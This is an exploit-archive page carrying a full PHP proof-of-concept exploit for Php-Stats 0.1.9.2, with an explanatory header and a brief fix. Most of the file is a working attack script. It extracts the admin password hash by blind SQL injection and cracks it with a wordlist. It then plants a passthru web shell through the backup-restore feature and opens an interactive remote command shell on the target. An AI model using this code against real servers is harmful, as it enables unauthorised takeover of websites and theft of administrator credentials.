exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpstats-multi.txt

phpstats-multi.txt
Posted Oct 11, 2007
Authored by EgiX

PHP-Stats version 0.1.9.2 proof of concept exploit that demonstrates blind SQL injection and remote code execution vulnerabilities.

tags | exploit, remote, php, vulnerability, code execution, sql injection, proof of concept
SHA-256 | 411067c6e3ffe3d57a836f7f4d1f2a19542d244fe4aabc630d27e787bebbf4db

phpstats-multi.txt

Change Mirror Download
<?php

/*
Php-Stats 0.1.9.2 Multiple Vulnerabilities Exploit
Blind SQL Injection / Remote Code Execution P.o.C.

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://php-stats.com/downloads
details..: works with magic_quotes_runtime = off

[1] Blind SQL Injection in php-stats.recjs.php:

94. if(isset($_GET['ip'])) $ip=urldecode($_GET['ip']); else break;
95. if(!ereg('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$',long2ip($ip))) break; [*]
97.
98. if(isset($_GET['visitor_id'])) $visitor_id=strtolower(urldecode($_GET['visitor_id'])); else break;
99. if((!eregi('^[0-9,a-z]{32}',$visitor_id)) && (strlen($visitor_id)<>32)) break;
100.
103. $title='?';
104. if($option['page_title'] && isset($_GET['t']))
105. {
106. $tmpTitle=htmlspecialchars(addslashes(urldecode($_GET['t']))); [**]
107. if($tmpTitle!='\\\\\\" t \\\\\\"') $title=$tmpTitle;
108. }
109.
174. if (($loaded=='?') && ($title!='?')) {
175. $result=sql_query("SELECT lastpage FROM $option[prefix]_cache WHERE user_id='$ip' AND visitor_id='$visitor_id' LIMIT 1");
176. if(mysql_affected_rows()>0) {
177. list($loaded)=mysql_fetch_row($result);
178. $appendDetails="AND currentPage='$loaded'";
179. }
180. }
181.
183. if(($modulo[3]) && ($title!=''))
184. sql_query("UPDATE $option[prefix]_pages SET titlePage='$title' WHERE data='$loaded' $append"); [***]

the long2ip() function [*] converts his numeric argument to an IPv4 dotted ip...if you try this: long2ip(-1)
the result is 255.255.255.255, but if the argument is -1' OR 1=1/* the result is the same, so you can handle
$_GET[ip] parameter to inject sql into the query at line 175, also, this argument is passed to urldecode(), so
you can bypass magic_quotes_gpc by escaping ' with %2527...to see the results of blind sql injection you can edit
the value of 'titlePage' record in the _pages table with $_GET[t] [**] by injecting other sql in the WHERE clause
at line 184 [***] so, by seeing results through /admin.php?action=pages you can retrive admin password hash...but
this is stored into db as sha1(sha1(pass)), while cookie's password for automatic login is stored as sha1(pass)...
so you can only try dictionary or bruteforce attack to retrive the plain text of the sha1 hash for the cookie!

[2] Remote Code Execution in admin.php (also click.php, download.php, and so many files...):

127. if($NowritableServer===1){
129. $result=sql_query("SELECT option_name,option_value FROM $option[prefix]_options");
130. while($row=mysql_fetch_row($result)) $option[$row[0]]=$row[1];
131. eval($option['php-stats-options']);
132. }

if $NowritableServe is set to 1, $option['php-stats-options'] is passed to eval()...you can change the server write
modality to set $NowritableServer and to create _options table (see lines 42-68), also, with admin rights, you can store
any value into 'php-stats-options' record through backup utility for ex. (/admin.php?action=backup&mode=restore)...
so you can inject malicious php code into 'php-stats-options' record of _options table and execute it through eval()

[-] Bug Fix in php-stats.recjs.php:

replace this line: 94. if(isset($_GET['ip'])) $ip=urldecode($_GET['ip']); else break;
with this: 94. if(isset($_GET['ip'])) $ip=intval(urldecode($_GET['ip'])); else break;
*/

error_reporting(0);
ini_set("default_socket_timeout",5);
set_time_limit(0);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80); $c = 0;
while (!$sock)
{
if ($c++ == 10) die();
print "\n[-] No response from ".$host.":80 Trying again...";
$sock = fsockopen($host,80);
sleep(1);
}
fputs($sock, $packet);
$resp = "";
while (!feof($sock)) $resp .= fread($sock, 1);
fclose($sock);
return $resp;
}

function check_query($key)
{
global $host, $path;

$pck = "GET {$path}admin.php?action=pages HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$html = http_send($host, $pck);

return (preg_match($key, $html) ? true : false);
}

function set_table()
{
global $host, $path, $prefix;

// insert a record into _pages table...
$pck = "GET {$path}php-stats.recphp.php HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
http_send($host, $pck);
// ...and try to inject sql
$sql = "-1' UNION SELECT CONCAT(CHAR(39),' OR 1=1',CHAR(47),CHAR(42)) FROM {$prefix}_config WHERE name='admin_pass'/*";
$sql = str_replace("%27", "%2527", urlencode($sql));
$get = "visitor_id=acbd18db4cc2f85cedef654fccc4a4d8";
$get .= "&t=_default_value_";
$get .= "&ip={$sql}";
$pck = "GET {$path}php-stats.recjs.php?{$get} HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$html = http_send($host, $pck);

if (!check_query("/_default_value_/")) die("\n[-] Exploit failed...probably magic_quotes_runtime = on\n");
}

function set_NowritableServer()
{
global $host, $path, $prefix, $pwd;

// we need to set $NowritableServer=1 in /option/php-stats_mode.php
$s1 = "/con scrittura di files sul Server/";
$s2 = "/the write files on server mode/";
$pck = "GET {$path}admin.php?action=preferenze HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Cookie: pass_cookie={$pwd}\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$html = http_send($host, $pck);
if (preg_match($s1, $html) || preg_match($s2, $html))
{
$data = "change_mode=1";
$pck = "POST {$path}admin.php HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Content-Type: application/x-www-form-urlencoded\r\n";
$pck .= "Content-Length: ".strlen($data)."\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$pck .= $data;
http_send($host, $pck);
}
}

print "\n+------------------------------------------------------------+";
print "\n| Php-Stats 0.1.9.2 Multiple Vulnerabilities Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path [options]\n";
print "\nhost.......: target server (ip/hostname)";
print "\npath.......: path to Php-Stats directory (example: / or /php-stats/)\n";
print "\n-h hash....: SHA1 hash stored into db (to find with sql injection)";
print "\n-p pass....: admin's password plain text (the cracked password)";
print "\n-t prefix..: table's prefix (default: php_stats)\n";
die();
}

$opt = array("-h","-p","-t");
$host = $argv[1];
$path = $argv[2];
$sha = "";
$pwd = "";
$prefix = "php_stats";

for ($i = 3; $i < $argc; $i++)
{
if ($argv[$i] == "-h") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $sha = $argv[++$i];
if ($argv[$i] == "-p") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $pwd = $argv[++$i];
if ($argv[$i] == "-t") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $prefix = $argv[++$i];
}

if (strlen($sha) < 40 && strlen($pwd) == 0)
{
set_table();

$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$pos = strlen($sha) + 1; $arLen = count($hash);
print "\n[-] SHA1 hash: {$sha}";

while (!strpos($sha, chr(0)))
{
for ($i = 0; $i <= $arLen; $i++)
{
if ($i == $arLen) die("\n[-] Exploit failed...\n");

$sql = "-1' UNION SELECT CONCAT(CHAR(39),' OR {$hash[$i]}=',ORD(SUBSTR(value,{$pos},1)),CHAR(47),CHAR(42)) FROM {$prefix}_config WHERE name='admin_pass'/*";
$sql = str_replace("%27", "%2527", urlencode($sql));
$get = "visitor_id=acbd18db4cc2f85cedef654fccc4a4d8";
$get.= "&t=_my_flag_{$pos}";
$get.= "&ip={$sql}";
$pck = "GET {$path}php-stats.recjs.php?{$get} HTTP/1.1\r\n";
$pck.= "Host: {$host}\r\n";
$pck.= "Keep-Alive: 300\r\n";
$pck.= "Connection: keep-alive\r\n\r\n";
http_send($host, $pck);

if (check_query("/_my_flag_{$pos}/")) { $sha .= chr($hash[$i]); print chr($hash[$i]); break; }
}

$pos++;
}
}

$sha = trim($sha);
if (strlen($sha) > 0 && !eregi("[0-9,a-f]{40}", $sha)) die("\n[-] Invalid SHA1 hash...\n");

if (strlen($pwd) == 0)
{
// simple dictionary attack
print "\n\n[-] Trying dictionary attack using wordlist.txt...\n";
if (!file_exists("wordlist.txt")) die("\n[-] wordlist.txt not found!\n");
$words = file("wordlist.txt");
$arLen = count($words);

for ($i = 0; $i <= $arLen; $i++)
{
if ($i == $arLen) die("\n\n[-] Dictionary attack failed...\n");
$word = trim($words[$i]);
$test_hash = sha1(sha1($word));
print "\n[-] Testing {$word}: {$test_hash}";
if ($test_hash == $sha) { $pwd = $word; break; }
}
}

print "\n\n[-] Admin's password: {$pwd}"; $pwd = sha1($pwd);
print "\n[-] Cookies password: {$pwd}\n\n[-] Starting the shell...\n";

set_NowritableServer();

// inject php shell into 'php-stats-options' record of _options table through the backup script...
$code = "error_reporting(0);echo 12345;passthru(base64_decode(\$_SERVER[HTTP_CMD]));echo 12345;die;";
$data = "--12345\r\n";
$data.= "Content-Disposition: form-data; name=\"backup_php_stats\"; filename=\"backup.sql\"\r\n";
$data.= "Content-Type: application/octet-stream\r\n\r\n";
$data.= "# Dump code: 4039ca1a891c85f867b40b0217042be8\n"; // md5("code:0.1.9.2");
$data.= "UPDATE {$prefix}_options SET option_value='{$code}' WHERE option_name='php-stats-options'\r\n";
$data.= "--12345--\r\n";

$pck = "POST {$path}admin.php?action=backup&mode=restore HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Cookie: pass_cookie={$pwd}\r\n";
$pck .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$pck .= "Content-Length: ".strlen($data)."\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$pck .= $data;

http_send($host, $pck);

// ...and finally start the shell!
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nxpl0t-sh3ll # ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$pck = "GET {$path}admin.php HTTP/1.1\r\n";
$pck .= "Host: {$host}\r\n";
$pck .= "Cmd: ".base64_encode($cmd)."\r\n";
$pck .= "Keep-Alive: 300\r\n";
$pck .= "Connection: keep-alive\r\n\r\n";
$resp = http_send($host, $pck);
if (!strpos($resp, "12345")) die("\n[-] Exploit failed...\n");
$shell = explode("12345", $resp);
print "\n".$shell[1];
}
else break;
}

?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close